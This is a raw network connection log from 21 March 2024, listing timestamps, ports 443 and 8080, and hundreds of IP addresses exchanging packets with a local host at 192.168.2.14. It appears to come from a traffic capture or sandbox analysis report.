Mar 21, 2024 05:21:09.913017035 CET	443	17297	5.159.240.232	192.168.2.14
Mar 21, 2024 05:21:09.913023949 CET	17297	443	192.168.2.14	118.153.14.40
Mar 21, 2024 05:21:09.913024902 CET	443	17297	212.59.251.12	192.168.2.14
Mar 21, 2024 05:21:09.913028002 CET	17297	443	192.168.2.14	2.134.128.198
Mar 21, 2024 05:21:09.913034916 CET	17297	443	192.168.2.14	178.65.97.101
Mar 21, 2024 05:21:09.913034916 CET	17297	443	192.168.2.14	212.32.170.178
Mar 21, 2024 05:21:09.913034916 CET	17297	443	192.168.2.14	2.199.250.9
Mar 21, 2024 05:21:09.913037062 CET	17297	443	192.168.2.14	178.116.24.125
Mar 21, 2024 05:21:09.913038969 CET	17297	443	192.168.2.14	5.128.247.153
Mar 21, 2024 05:21:09.913043022 CET	443	17297	178.212.59.251	192.168.2.14
Mar 21, 2024 05:21:09.913043022 CET	443	17297	178.65.97.101	192.168.2.14
Mar 21, 2024 05:21:09.913045883 CET	17297	443	192.168.2.14	42.124.9.91
Mar 21, 2024 05:21:09.913047075 CET	17297	443	192.168.2.14	2.213.26.230
Mar 21, 2024 05:21:09.913053989 CET	443	17297	118.75.158.135	192.168.2.14
Mar 21, 2024 05:21:09.913053989 CET	443	17297	212.32.170.178	192.168.2.14
Mar 21, 2024 05:21:09.913055897 CET	17297	443	192.168.2.14	118.112.34.242
Mar 21, 2024 05:21:09.913058043 CET	17306	8080	192.168.2.14	49.85.123.117
Mar 21, 2024 05:21:09.913058043 CET	443	17297	94.104.190.159	192.168.2.14
Mar 21, 2024 05:21:09.913059950 CET	17297	443	192.168.2.14	2.207.51.169
Mar 21, 2024 05:21:09.913064003 CET	17297	443	192.168.2.14	109.240.154.155
Mar 21, 2024 05:21:09.913065910 CET	17297	443	192.168.2.14	37.79.206.97
Mar 21, 2024 05:21:09.913065910 CET	17297	443	192.168.2.14	94.112.160.166
Mar 21, 2024 05:21:09.913065910 CET	17297	443	192.168.2.14	109.232.68.190
Mar 21, 2024 05:21:09.913068056 CET	17297	443	192.168.2.14	79.50.203.131
Mar 21, 2024 05:21:09.913065910 CET	17297	443	192.168.2.14	5.91.136.102
Mar 21, 2024 05:21:09.913065910 CET	17297	443	192.168.2.14	2.50.32.210
Mar 21, 2024 05:21:09.913074017 CET	17297	443	192.168.2.14	109.105.91.68
Mar 21, 2024 05:21:09.913074017 CET	17297	443	192.168.2.14	5.159.240.232
Mar 21, 2024 05:21:09.913074017 CET	17297	443	192.168.2.14	178.65.97.101
Mar 21, 2024 05:21:09.913077116 CET	17297	443	192.168.2.14	212.59.251.12
Mar 21, 2024 05:21:09.913079023 CET	443	17297	37.79.206.97	192.168.2.14
Mar 21, 2024 05:21:09.913088083 CET	443	17297	94.112.160.166	192.168.2.14
Mar 21, 2024 05:21:09.913090944 CET	17297	443	192.168.2.14	118.120.55.81
Mar 21, 2024 05:21:09.913099051 CET	17306	8080	192.168.2.14	184.58.44.125
Mar 21, 2024 05:21:09.913106918 CET	17297	443	192.168.2.14	212.32.170.178
Mar 21, 2024 05:21:09.913108110 CET	17306	8080	192.168.2.14	130.222.161.48
Mar 21, 2024 05:21:09.913108110 CET	17306	8080	192.168.2.14	68.198.89.58
Mar 21, 2024 05:21:09.913110018 CET	17297	443	192.168.2.14	94.104.190.159
Mar 21, 2024 05:21:09.913110018 CET	17297	443	192.168.2.14	178.212.59.251
Mar 21, 2024 05:21:09.913117886 CET	17306	8080	192.168.2.14	196.173.10.76
Mar 21, 2024 05:21:09.913119078 CET	17297	443	192.168.2.14	118.75.158.135
Mar 21, 2024 05:21:09.913119078 CET	17297	443	192.168.2.14	37.79.206.97
Mar 21, 2024 05:21:09.913122892 CET	17306	8080	192.168.2.14	107.183.13.149
Mar 21, 2024 05:21:09.913130045 CET	17297	443	192.168.2.14	94.112.160.166
Mar 21, 2024 05:21:09.913130999 CET	17297	443	192.168.2.14	42.8.201.151
Mar 21, 2024 05:21:09.913139105 CET	443	17297	42.8.201.151	192.168.2.14
Mar 21, 2024 05:21:09.913139105 CET	17306	8080	192.168.2.14	216.208.70.59
Mar 21, 2024 05:21:09.913147926 CET	17306	8080	192.168.2.14	37.130.11.122
Mar 21, 2024 05:21:09.913147926 CET	17297	443	192.168.2.14	79.15.78.211
Mar 21, 2024 05:21:09.913147926 CET	17306	8080	192.168.2.14	109.232.6.151
Mar 21, 2024 05:21:09.913155079 CET	17306	8080	192.168.2.14	188.229.70.84
Mar 21, 2024 05:21:09.913155079 CET	17306	8080	192.168.2.14	47.166.112.60
Mar 21, 2024 05:21:09.913161039 CET	443	17297	79.15.78.211	192.168.2.14
Mar 21, 2024 05:21:09.913166046 CET	17297	443	192.168.2.14	42.182.222.157
Mar 21, 2024 05:21:09.913172007 CET	443	17297	42.182.222.157	192.168.2.14
Mar 21, 2024 05:21:09.913172960 CET	17306	8080	192.168.2.14	186.75.34.156
Mar 21, 2024 05:21:09.913172960 CET	17297	443	192.168.2.14	42.8.201.151
Mar 21, 2024 05:21:09.913177967 CET	17297	443	192.168.2.14	118.20.217.53
Mar 21, 2024 05:21:09.913182974 CET	443	17297	118.20.217.53	192.168.2.14
Mar 21, 2024 05:21:09.913183928 CET	17306	8080	192.168.2.14	188.192.169.188
Mar 21, 2024 05:21:09.913191080 CET	17306	8080	192.168.2.14	146.132.24.140
Mar 21, 2024 05:21:09.913196087 CET	17297	443	192.168.2.14	79.15.78.211
Mar 21, 2024 05:21:09.913199902 CET	17297	443	192.168.2.14	42.182.222.157
Mar 21, 2024 05:21:09.913218975 CET	17297	443	192.168.2.14	42.112.238.103
Mar 21, 2024 05:21:09.913218975 CET	17297	443	192.168.2.14	118.20.217.53
Mar 21, 2024 05:21:09.913225889 CET	443	17297	42.112.238.103	192.168.2.14
Mar 21, 2024 05:21:09.913248062 CET	17306	8080	192.168.2.14	78.191.201.179
Mar 21, 2024 05:21:09.913248062 CET	17297	443	192.168.2.14	2.184.111.107
Mar 21, 2024 05:21:09.913254976 CET	17297	443	192.168.2.14	42.112.238.103
Mar 21, 2024 05:21:09.913263083 CET	443	17297	2.184.111.107	192.168.2.14
Mar 21, 2024 05:21:09.913290024 CET	17297	443	192.168.2.14	94.132.89.199
Mar 21, 2024 05:21:09.913295984 CET	443	17297	94.132.89.199	192.168.2.14
Mar 21, 2024 05:21:09.913295984 CET	17297	443	192.168.2.14	94.172.136.39
Mar 21, 2024 05:21:09.913300991 CET	17297	443	192.168.2.14	79.193.125.8
Mar 21, 2024 05:21:09.913300991 CET	17297	443	192.168.2.14	2.184.111.107
Mar 21, 2024 05:21:09.913301945 CET	443	17297	94.172.136.39	192.168.2.14
Mar 21, 2024 05:21:09.913307905 CET	17297	443	192.168.2.14	212.113.3.198
Mar 21, 2024 05:21:09.913307905 CET	443	17297	79.193.125.8	192.168.2.14
Mar 21, 2024 05:21:09.913312912 CET	443	17297	212.113.3.198	192.168.2.14
Mar 21, 2024 05:21:09.913331032 CET	17297	443	192.168.2.14	94.60.140.187
Mar 21, 2024 05:21:09.913332939 CET	17297	443	192.168.2.14	94.132.89.199
Mar 21, 2024 05:21:09.913336039 CET	443	17297	94.60.140.187	192.168.2.14
Mar 21, 2024 05:21:09.913338900 CET	17297	443	192.168.2.14	94.172.136.39
Mar 21, 2024 05:21:09.913353920 CET	17297	443	192.168.2.14	212.113.3.198
Mar 21, 2024 05:21:09.913356066 CET	17297	443	192.168.2.14	79.193.125.8
Mar 21, 2024 05:21:09.913368940 CET	17297	443	192.168.2.14	109.219.3.47
Mar 21, 2024 05:21:09.913374901 CET	443	17297	109.219.3.47	192.168.2.14
Mar 21, 2024 05:21:09.913377047 CET	17297	443	192.168.2.14	94.60.140.187
Mar 21, 2024 05:21:09.913377047 CET	17297	443	192.168.2.14	37.143.197.31
Mar 21, 2024 05:21:09.913388014 CET	17297	443	192.168.2.14	109.208.152.106
Mar 21, 2024 05:21:09.913389921 CET	443	17297	37.143.197.31	192.168.2.14
Mar 21, 2024 05:21:09.913393974 CET	443	17297	109.208.152.106	192.168.2.14
Mar 21, 2024 05:21:09.913409948 CET	17306	8080	192.168.2.14	62.15.215.189
Mar 21, 2024 05:21:09.913414001 CET	17297	443	192.168.2.14	178.247.194.4
Mar 21, 2024 05:21:09.913419962 CET	443	17297	178.247.194.4	192.168.2.14
Mar 21, 2024 05:21:09.913420916 CET	17297	443	192.168.2.14	109.219.3.47
Mar 21, 2024 05:21:09.913429022 CET	17297	443	192.168.2.14	109.208.152.106
Mar 21, 2024 05:21:09.913439989 CET	17297	443	192.168.2.14	109.207.148.80
Mar 21, 2024 05:21:09.913444996 CET	17306	8080	192.168.2.14	94.18.227.0
Mar 21, 2024 05:21:09.913445950 CET	443	17297	109.207.148.80	192.168.2.14
Mar 21, 2024 05:21:09.913449049 CET	17306	8080	192.168.2.14	165.138.144.6
Mar 21, 2024 05:21:09.913455963 CET	17297	443	192.168.2.14	37.143.197.31
Mar 21, 2024 05:21:09.913455963 CET	17297	443	192.168.2.14	178.247.194.4
Mar 21, 2024 05:21:09.913464069 CET	17306	8080	192.168.2.14	143.144.116.233
Mar 21, 2024 05:21:09.913475037 CET	17297	443	192.168.2.14	109.207.148.80
Mar 21, 2024 05:21:09.913480043 CET	17297	443	192.168.2.14	118.194.187.60
Mar 21, 2024 05:21:09.913486958 CET	443	17297	118.194.187.60	192.168.2.14
Mar 21, 2024 05:21:09.913496017 CET	17297	443	192.168.2.14	212.155.63.9
Mar 21, 2024 05:21:09.913501024 CET	17306	8080	192.168.2.14	20.169.11.182
Mar 21, 2024 05:21:09.913501024 CET	443	17297	212.155.63.9	192.168.2.14
Mar 21, 2024 05:21:09.913511992 CET	17297	443	192.168.2.14	210.70.9.85
Mar 21, 2024 05:21:09.913516998 CET	17297	443	192.168.2.14	118.194.187.60
Mar 21, 2024 05:21:09.913517952 CET	443	17297	210.70.9.85	192.168.2.14
Mar 21, 2024 05:21:09.913530111 CET	17306	8080	192.168.2.14	149.193.166.15
Mar 21, 2024 05:21:09.913535118 CET	17306	8080	192.168.2.14	23.138.168.91
Mar 21, 2024 05:21:09.913542986 CET	17306	8080	192.168.2.14	130.149.49.254
Mar 21, 2024 05:21:09.913542986 CET	17297	443	192.168.2.14	212.155.63.9
Mar 21, 2024 05:21:09.913557053 CET	17297	443	192.168.2.14	210.70.9.85
Mar 21, 2024 05:21:09.913573027 CET	17306	8080	192.168.2.14	132.142.227.209
Mar 21, 2024 05:21:09.913573980 CET	17306	8080	192.168.2.14	133.189.211.130
Mar 21, 2024 05:21:09.913583040 CET	17306	8080	192.168.2.14	221.192.68.219
Mar 21, 2024 05:21:09.913583040 CET	17297	443	192.168.2.14	2.101.76.244
Mar 21, 2024 05:21:09.913585901 CET	17306	8080	192.168.2.14	32.40.174.253
Mar 21, 2024 05:21:09.913585901 CET	17306	8080	192.168.2.14	159.65.213.231
Mar 21, 2024 05:21:09.913588047 CET	17306	8080	192.168.2.14	79.11.232.180
Mar 21, 2024 05:21:09.913597107 CET	443	17297	2.101.76.244	192.168.2.14
Mar 21, 2024 05:21:09.913599014 CET	17306	8080	192.168.2.14	41.206.170.90
Mar 21, 2024 05:21:09.913609982 CET	17297	443	192.168.2.14	79.174.98.178
Mar 21, 2024 05:21:09.913615942 CET	443	17297	79.174.98.178	192.168.2.14
Mar 21, 2024 05:21:09.913625956 CET	17297	443	192.168.2.14	118.149.185.191
Mar 21, 2024 05:21:09.913633108 CET	443	17297	118.149.185.191	192.168.2.14
Mar 21, 2024 05:21:09.913636923 CET	17297	443	192.168.2.14	2.101.76.244
Mar 21, 2024 05:21:09.913636923 CET	17297	443	192.168.2.14	5.60.67.107
Mar 21, 2024 05:21:09.913636923 CET	17297	443	192.168.2.14	2.157.156.126
Mar 21, 2024 05:21:09.913645029 CET	443	17297	2.157.156.126	192.168.2.14
Mar 21, 2024 05:21:09.913645983 CET	443	17297	5.60.67.107	192.168.2.14
Mar 21, 2024 05:21:09.913650990 CET	17306	8080	192.168.2.14	218.133.23.54
Mar 21, 2024 05:21:09.913657904 CET	17297	443	192.168.2.14	79.174.98.178
Mar 21, 2024 05:21:09.913657904 CET	17306	8080	192.168.2.14	60.134.152.8
Mar 21, 2024 05:21:09.913660049 CET	17297	443	192.168.2.14	94.250.21.75
Mar 21, 2024 05:21:09.913662910 CET	17306	8080	192.168.2.14	62.61.84.190
Mar 21, 2024 05:21:09.913671017 CET	17306	8080	192.168.2.14	124.95.16.175
Mar 21, 2024 05:21:09.913671970 CET	443	17297	94.250.21.75	192.168.2.14
Mar 21, 2024 05:21:09.913674116 CET	17297	443	192.168.2.14	5.60.67.107
Mar 21, 2024 05:21:09.913685083 CET	17297	443	192.168.2.14	118.149.185.191
Mar 21, 2024 05:21:09.913700104 CET	17297	443	192.168.2.14	2.157.156.126
Mar 21, 2024 05:21:09.913707018 CET	17306	8080	192.168.2.14	216.110.103.193
Mar 21, 2024 05:21:09.913716078 CET	17306	8080	192.168.2.14	75.155.44.24
Mar 21, 2024 05:21:09.913717031 CET	17306	8080	192.168.2.14	189.146.36.21
Mar 21, 2024 05:21:09.913717031 CET	17306	8080	192.168.2.14	90.37.167.206
Mar 21, 2024 05:21:09.913717031 CET	17297	443	192.168.2.14	94.250.21.75
Mar 21, 2024 05:21:09.913726091 CET	17306	8080	192.168.2.14	207.120.19.229
Mar 21, 2024 05:21:09.913726091 CET	17306	8080	192.168.2.14	167.66.10.210
Mar 21, 2024 05:21:09.913729906 CET	17297	443	192.168.2.14	178.73.128.112
Mar 21, 2024 05:21:09.913736105 CET	443	17297	178.73.128.112	192.168.2.14
Mar 21, 2024 05:21:09.913747072 CET	17306	8080	192.168.2.14	133.9.152.255
Mar 21, 2024 05:21:09.913765907 CET	17297	443	192.168.2.14	109.0.57.13
Mar 21, 2024 05:21:09.913769007 CET	17306	8080	192.168.2.14	37.40.72.71
Mar 21, 2024 05:21:09.913772106 CET	17297	443	192.168.2.14	178.73.128.112
Mar 21, 2024 05:21:09.913773060 CET	443	17297	109.0.57.13	192.168.2.14
Mar 21, 2024 05:21:09.913774967 CET	17297	443	192.168.2.14	212.59.92.244
Mar 21, 2024 05:21:09.913777113 CET	17306	8080	192.168.2.14	174.178.47.101
Mar 21, 2024 05:21:09.913784027 CET	443	17297	212.59.92.244	192.168.2.14
Mar 21, 2024 05:21:09.913784981 CET	17297	443	192.168.2.14	79.218.53.35
Mar 21, 2024 05:21:09.913790941 CET	443	17297	79.218.53.35	192.168.2.14
Mar 21, 2024 05:21:09.913799047 CET	17297	443	192.168.2.14	5.245.229.179
Mar 21, 2024 05:21:09.913805008 CET	443	17297	5.245.229.179	192.168.2.14
Mar 21, 2024 05:21:09.913809061 CET	17297	443	192.168.2.14	109.0.57.13
Mar 21, 2024 05:21:09.913814068 CET	17297	443	192.168.2.14	212.59.92.244
Mar 21, 2024 05:21:09.913827896 CET	17297	443	192.168.2.14	79.218.53.35
Mar 21, 2024 05:21:09.913831949 CET	17297	443	192.168.2.14	42.219.211.147
Mar 21, 2024 05:21:09.913836002 CET	17297	443	192.168.2.14	5.245.229.179
Mar 21, 2024 05:21:09.913839102 CET	443	17297	42.219.211.147	192.168.2.14
Mar 21, 2024 05:21:09.913856030 CET	17297	443	192.168.2.14	79.39.197.58
Mar 21, 2024 05:21:09.913861036 CET	443	17297	79.39.197.58	192.168.2.14
Mar 21, 2024 05:21:09.913870096 CET	17297	443	192.168.2.14	42.219.211.147
Mar 21, 2024 05:21:09.913885117 CET	17297	443	192.168.2.14	42.198.129.211
Mar 21, 2024 05:21:09.913892031 CET	443	17297	42.198.129.211	192.168.2.14
Mar 21, 2024 05:21:09.913901091 CET	17297	443	192.168.2.14	79.39.197.58
Mar 21, 2024 05:21:09.913917065 CET	17297	443	192.168.2.14	212.83.224.243
Mar 21, 2024 05:21:09.913923025 CET	443	17297	212.83.224.243	192.168.2.14
Mar 21, 2024 05:21:09.913933039 CET	17297	443	192.168.2.14	42.198.129.211
Mar 21, 2024 05:21:09.913938046 CET	17297	443	192.168.2.14	212.134.69.204
Mar 21, 2024 05:21:09.913944006 CET	443	17297	212.134.69.204	192.168.2.14
Mar 21, 2024 05:21:09.913953066 CET	17306	8080	192.168.2.14	74.184.190.5
Mar 21, 2024 05:21:09.913957119 CET	17297	443	192.168.2.14	212.83.224.243
Mar 21, 2024 05:21:09.913960934 CET	17306	8080	192.168.2.14	142.73.83.231
Mar 21, 2024 05:21:09.913963079 CET	17297	443	192.168.2.14	212.128.127.148
Mar 21, 2024 05:21:09.913968086 CET	17306	8080	192.168.2.14	152.230.106.231
Mar 21, 2024 05:21:09.913969040 CET	17306	8080	192.168.2.14	24.30.197.245
Mar 21, 2024 05:21:09.913969994 CET	443	17297	212.128.127.148	192.168.2.14
Mar 21, 2024 05:21:09.913971901 CET	17306	8080	192.168.2.14	157.164.168.211
Mar 21, 2024 05:21:09.913980007 CET	17297	443	192.168.2.14	212.134.69.204
Mar 21, 2024 05:21:09.913989067 CET	17306	8080	192.168.2.14	139.197.72.125
Mar 21, 2024 05:21:09.913991928 CET	17306	8080	192.168.2.14	113.150.233.17
Mar 21, 2024 05:21:09.913996935 CET	17297	443	192.168.2.14	212.128.127.148
Mar 21, 2024 05:21:09.913997889 CET	17306	8080	192.168.2.14	178.107.94.81
Mar 21, 2024 05:21:09.914002895 CET	17306	8080	192.168.2.14	121.110.23.146
Mar 21, 2024 05:21:09.914010048 CET	17297	443	192.168.2.14	94.32.194.47
Mar 21, 2024 05:21:09.914017916 CET	443	17297	94.32.194.47	192.168.2.14
Mar 21, 2024 05:21:09.914024115 CET	17297	443	192.168.2.14	42.220.204.136
Mar 21, 2024 05:21:09.914026022 CET	17306	8080	192.168.2.14	184.219.46.86
Mar 21, 2024 05:21:09.914031982 CET	17306	8080	192.168.2.14	155.172.152.156
Mar 21, 2024 05:21:09.914033890 CET	443	17297	42.220.204.136	192.168.2.14
Mar 21, 2024 05:21:09.914041042 CET	17306	8080	192.168.2.14	216.12.162.49
Mar 21, 2024 05:21:09.914041042 CET	17306	8080	192.168.2.14	69.242.141.49
Mar 21, 2024 05:21:09.914047956 CET	17306	8080	192.168.2.14	210.252.238.134
Mar 21, 2024 05:21:09.914047956 CET	17306	8080	192.168.2.14	5.190.116.222
Mar 21, 2024 05:21:09.914048910 CET	17306	8080	192.168.2.14	84.50.156.219
Mar 21, 2024 05:21:09.914051056 CET	17306	8080	192.168.2.14	23.171.9.100
Mar 21, 2024 05:21:09.914051056 CET	17306	8080	192.168.2.14	195.66.92.109
Mar 21, 2024 05:21:09.914052963 CET	17306	8080	192.168.2.14	141.240.243.240
Mar 21, 2024 05:21:09.914055109 CET	17306	8080	192.168.2.14	191.71.250.238
Mar 21, 2024 05:21:09.914058924 CET	17306	8080	192.168.2.14	117.210.163.109
Mar 21, 2024 05:21:09.914062977 CET	17297	443	192.168.2.14	94.32.194.47
Mar 21, 2024 05:21:09.914062977 CET	17297	443	192.168.2.14	2.163.197.250
Mar 21, 2024 05:21:09.914064884 CET	17306	8080	192.168.2.14	115.193.48.70
Mar 21, 2024 05:21:09.914068937 CET	17306	8080	192.168.2.14	80.16.107.230
Mar 21, 2024 05:21:09.914072037 CET	443	17297	2.163.197.250	192.168.2.14
Mar 21, 2024 05:21:09.914076090 CET	17306	8080	192.168.2.14	219.46.156.115
Mar 21, 2024 05:21:09.914077997 CET	17297	443	192.168.2.14	42.220.204.136
Mar 21, 2024 05:21:09.914077997 CET	17306	8080	192.168.2.14	64.143.245.235
Mar 21, 2024 05:21:09.914081097 CET	17306	8080	192.168.2.14	131.103.36.143
Mar 21, 2024 05:21:09.914083004 CET	17297	443	192.168.2.14	5.160.89.25
Mar 21, 2024 05:21:09.914083004 CET	17306	8080	192.168.2.14	8.126.34.104
Mar 21, 2024 05:21:09.914083004 CET	17306	8080	192.168.2.14	41.242.135.136
Mar 21, 2024 05:21:09.914092064 CET	443	17297	5.160.89.25	192.168.2.14
Mar 21, 2024 05:21:09.914096117 CET	17297	443	192.168.2.14	212.95.233.213
Mar 21, 2024 05:21:09.914097071 CET	17306	8080	192.168.2.14	189.147.92.31
Mar 21, 2024 05:21:09.914102077 CET	443	17297	212.95.233.213	192.168.2.14
Mar 21, 2024 05:21:09.914103985 CET	17297	443	192.168.2.14	2.163.197.250
Mar 21, 2024 05:21:09.914103985 CET	17297	443	192.168.2.14	109.93.99.14
Mar 21, 2024 05:21:09.914112091 CET	443	17297	109.93.99.14	192.168.2.14
Mar 21, 2024 05:21:09.914118052 CET	17306	8080	192.168.2.14	79.12.67.84
Mar 21, 2024 05:21:09.914118052 CET	17306	8080	192.168.2.14	71.236.38.219
Mar 21, 2024 05:21:09.914118052 CET	17306	8080	192.168.2.14	142.211.54.97
Mar 21, 2024 05:21:09.914120913 CET	17306	8080	192.168.2.14	144.91.96.77
Mar 21, 2024 05:21:09.914124012 CET	17306	8080	192.168.2.14	208.23.129.190
Mar 21, 2024 05:21:09.914124966 CET	17297	443	192.168.2.14	118.41.154.134
Mar 21, 2024 05:21:09.914127111 CET	17306	8080	192.168.2.14	84.209.171.6
Mar 21, 2024 05:21:09.914127111 CET	17306	8080	192.168.2.14	44.56.180.239
Mar 21, 2024 05:21:09.914129972 CET	443	17297	118.41.154.134	192.168.2.14
Mar 21, 2024 05:21:09.914135933 CET	17306	8080	192.168.2.14	57.125.96.9
Mar 21, 2024 05:21:09.914136887 CET	17306	8080	192.168.2.14	61.19.83.20
Mar 21, 2024 05:21:09.914136887 CET	17306	8080	192.168.2.14	125.90.43.206
Mar 21, 2024 05:21:09.914144993 CET	17297	443	192.168.2.14	212.95.233.213
Mar 21, 2024 05:21:09.914144993 CET	17306	8080	192.168.2.14	89.43.228.253
Mar 21, 2024 05:21:09.914148092 CET	17297	443	192.168.2.14	118.208.243.251
Mar 21, 2024 05:21:09.914148092 CET	17306	8080	192.168.2.14	79.176.90.15
Mar 21, 2024 05:21:09.914148092 CET	17297	443	192.168.2.14	109.93.99.14
Mar 21, 2024 05:21:09.914154053 CET	443	17297	118.208.243.251	192.168.2.14
Mar 21, 2024 05:21:09.914155960 CET	17306	8080	192.168.2.14	205.222.142.94
Mar 21, 2024 05:21:09.914156914 CET	17297	443	192.168.2.14	79.118.84.32
Mar 21, 2024 05:21:09.914161921 CET	17297	443	192.168.2.14	37.79.156.68
Mar 21, 2024 05:21:09.914165020 CET	443	17297	79.118.84.32	192.168.2.14
Mar 21, 2024 05:21:09.914165974 CET	17297	443	192.168.2.14	118.41.154.134
Mar 21, 2024 05:21:09.914166927 CET	443	17297	37.79.156.68	192.168.2.14
Mar 21, 2024 05:21:09.914174080 CET	17297	443	192.168.2.14	5.160.89.25
Mar 21, 2024 05:21:09.914174080 CET	17297	443	192.168.2.14	2.165.59.52
Mar 21, 2024 05:21:09.914177895 CET	17306	8080	192.168.2.14	133.253.55.166
Mar 21, 2024 05:21:09.914177895 CET	17297	443	192.168.2.14	2.196.166.77
Mar 21, 2024 05:21:09.914180040 CET	17306	8080	192.168.2.14	176.97.52.164
Mar 21, 2024 05:21:09.914182901 CET	443	17297	2.165.59.52	192.168.2.14
Mar 21, 2024 05:21:09.914187908 CET	443	17297	2.196.166.77	192.168.2.14
Mar 21, 2024 05:21:09.914192915 CET	17297	443	192.168.2.14	118.208.243.251
Mar 21, 2024 05:21:09.914197922 CET	17306	8080	192.168.2.14	109.92.15.106
Mar 21, 2024 05:21:09.914200068 CET	17306	8080	192.168.2.14	218.129.14.196
Mar 21, 2024 05:21:09.914210081 CET	17297	443	192.168.2.14	37.79.156.68
Mar 21, 2024 05:21:09.914222002 CET	17306	8080	192.168.2.14	157.9.196.205
Mar 21, 2024 05:21:09.914222002 CET	17297	443	192.168.2.14	2.165.59.52
Mar 21, 2024 05:21:09.914227009 CET	17297	443	192.168.2.14	37.72.95.153
Mar 21, 2024 05:21:09.914227962 CET	17297	443	192.168.2.14	79.118.84.32
Mar 21, 2024 05:21:09.914232016 CET	443	17297	37.72.95.153	192.168.2.14
Mar 21, 2024 05:21:09.914232969 CET	17297	443	192.168.2.14	2.196.166.77
Mar 21, 2024 05:21:09.914232969 CET	17306	8080	192.168.2.14	205.248.122.39
Mar 21, 2024 05:21:09.914238930 CET	17297	443	192.168.2.14	5.153.26.46
Mar 21, 2024 05:21:09.914244890 CET	443	17297	5.153.26.46	192.168.2.14
Mar 21, 2024 05:21:09.914247036 CET	17306	8080	192.168.2.14	120.142.157.248
Mar 21, 2024 05:21:09.914252996 CET	17297	443	192.168.2.14	109.92.78.169
Mar 21, 2024 05:21:09.914258003 CET	443	17297	109.92.78.169	192.168.2.14
Mar 21, 2024 05:21:09.914263964 CET	17297	443	192.168.2.14	37.72.95.153
Mar 21, 2024 05:21:09.914268970 CET	17297	443	192.168.2.14	178.86.161.9
Mar 21, 2024 05:21:09.914274931 CET	443	17297	178.86.161.9	192.168.2.14
Mar 21, 2024 05:21:09.914275885 CET	17306	8080	192.168.2.14	23.108.82.62
Mar 21, 2024 05:21:09.914278030 CET	17306	8080	192.168.2.14	134.254.255.204
Mar 21, 2024 05:21:09.914292097 CET	17306	8080	192.168.2.14	175.11.63.37
Mar 21, 2024 05:21:09.914292097 CET	17297	443	192.168.2.14	5.153.26.46
Mar 21, 2024 05:21:09.914292097 CET	17306	8080	192.168.2.14	201.61.221.228
Mar 21, 2024 05:21:09.914295912 CET	17297	443	192.168.2.14	42.124.172.155
Mar 21, 2024 05:21:09.914295912 CET	17297	443	192.168.2.14	210.228.19.62
Mar 21, 2024 05:21:09.914295912 CET	17306	8080	192.168.2.14	2.87.141.119
Mar 21, 2024 05:21:09.914299011 CET	17306	8080	192.168.2.14	134.249.185.88
Mar 21, 2024 05:21:09.914299011 CET	17297	443	192.168.2.14	109.92.78.169
Mar 21, 2024 05:21:09.914309978 CET	17306	8080	192.168.2.14	2.180.90.226
Mar 21, 2024 05:21:09.914309978 CET	17306	8080	192.168.2.14	72.237.192.177
Mar 21, 2024 05:21:09.914310932 CET	17306	8080	192.168.2.14	4.209.124.130
Mar 21, 2024 05:21:09.914310932 CET	443	17297	42.124.172.155	192.168.2.14
Mar 21, 2024 05:21:09.914310932 CET	17306	8080	192.168.2.14	101.252.55.51
Mar 21, 2024 05:21:09.914318085 CET	17297	443	192.168.2.14	178.86.161.9
Mar 21, 2024 05:21:09.914324999 CET	443	17297	210.228.19.62	192.168.2.14
Mar 21, 2024 05:21:09.914335012 CET	17297	443	192.168.2.14	109.151.64.77
Mar 21, 2024 05:21:09.914338112 CET	17306	8080	192.168.2.14	163.165.242.125
Mar 21, 2024 05:21:09.914338112 CET	17306	8080	192.168.2.14	128.187.61.6
Mar 21, 2024 05:21:09.914340019 CET	443	17297	109.151.64.77	192.168.2.14
Mar 21, 2024 05:21:09.914350033 CET	17297	443	192.168.2.14	42.124.172.155
Mar 21, 2024 05:21:09.914372921 CET	17297	443	192.168.2.14	109.151.64.77
Mar 21, 2024 05:21:09.914401054 CET	17297	443	192.168.2.14	210.228.19.62
Mar 21, 2024 05:21:09.914401054 CET	17297	443	192.168.2.14	118.87.4.255
Mar 21, 2024 05:21:09.914401054 CET	17297	443	192.168.2.14	42.234.223.173
Mar 21, 2024 05:21:09.914407015 CET	17297	443	192.168.2.14	5.85.176.125
Mar 21, 2024 05:21:09.914410114 CET	443	17297	118.87.4.255	192.168.2.14
Mar 21, 2024 05:21:09.914413929 CET	443	17297	5.85.176.125	192.168.2.14
Mar 21, 2024 05:21:09.914418936 CET	443	17297	42.234.223.173	192.168.2.14
Mar 21, 2024 05:21:09.914433002 CET	17297	443	192.168.2.14	118.248.219.138
Mar 21, 2024 05:21:09.914433956 CET	17297	443	192.168.2.14	2.238.78.137
Mar 21, 2024 05:21:09.914439917 CET	443	17297	2.238.78.137	192.168.2.14
Mar 21, 2024 05:21:09.914443016 CET	17306	8080	192.168.2.14	162.61.15.138
Mar 21, 2024 05:21:09.914446115 CET	17306	8080	192.168.2.14	42.141.110.215
Mar 21, 2024 05:21:09.914448023 CET	443	17297	118.248.219.138	192.168.2.14
Mar 21, 2024 05:21:09.914458990 CET	17297	443	192.168.2.14	5.85.176.125
Mar 21, 2024 05:21:09.914459944 CET	17297	443	192.168.2.14	210.112.106.35
Mar 21, 2024 05:21:09.914458990 CET	17306	8080	192.168.2.14	222.190.39.129
Mar 21, 2024 05:21:09.914464951 CET	443	17297	210.112.106.35	192.168.2.14
Mar 21, 2024 05:21:09.914464951 CET	17297	443	192.168.2.14	118.87.4.255
Mar 21, 2024 05:21:09.914464951 CET	17297	443	192.168.2.14	42.234.223.173
Mar 21, 2024 05:21:09.914478064 CET	17297	443	192.168.2.14	210.234.133.48
Mar 21, 2024 05:21:09.914479971 CET	17306	8080	192.168.2.14	71.22.109.205
Mar 21, 2024 05:21:09.914479971 CET	17297	443	192.168.2.14	2.238.78.137
Mar 21, 2024 05:21:09.914479971 CET	17297	443	192.168.2.14	94.212.145.255
Mar 21, 2024 05:21:09.914483070 CET	443	17297	210.234.133.48	192.168.2.14
Mar 21, 2024 05:21:09.914483070 CET	17306	8080	192.168.2.14	179.38.151.53
Mar 21, 2024 05:21:09.914484024 CET	17297	443	192.168.2.14	5.202.197.21
Mar 21, 2024 05:21:09.914489031 CET	443	17297	94.212.145.255	192.168.2.14
Mar 21, 2024 05:21:09.914495945 CET	443	17297	5.202.197.21	192.168.2.14
Mar 21, 2024 05:21:09.914496899 CET	17306	8080	192.168.2.14	38.152.15.176
Mar 21, 2024 05:21:09.914496899 CET	17297	443	192.168.2.14	118.248.219.138
Mar 21, 2024 05:21:09.914500952 CET	17297	443	192.168.2.14	210.112.106.35
Mar 21, 2024 05:21:09.914513111 CET	17297	443	192.168.2.14	210.234.133.48
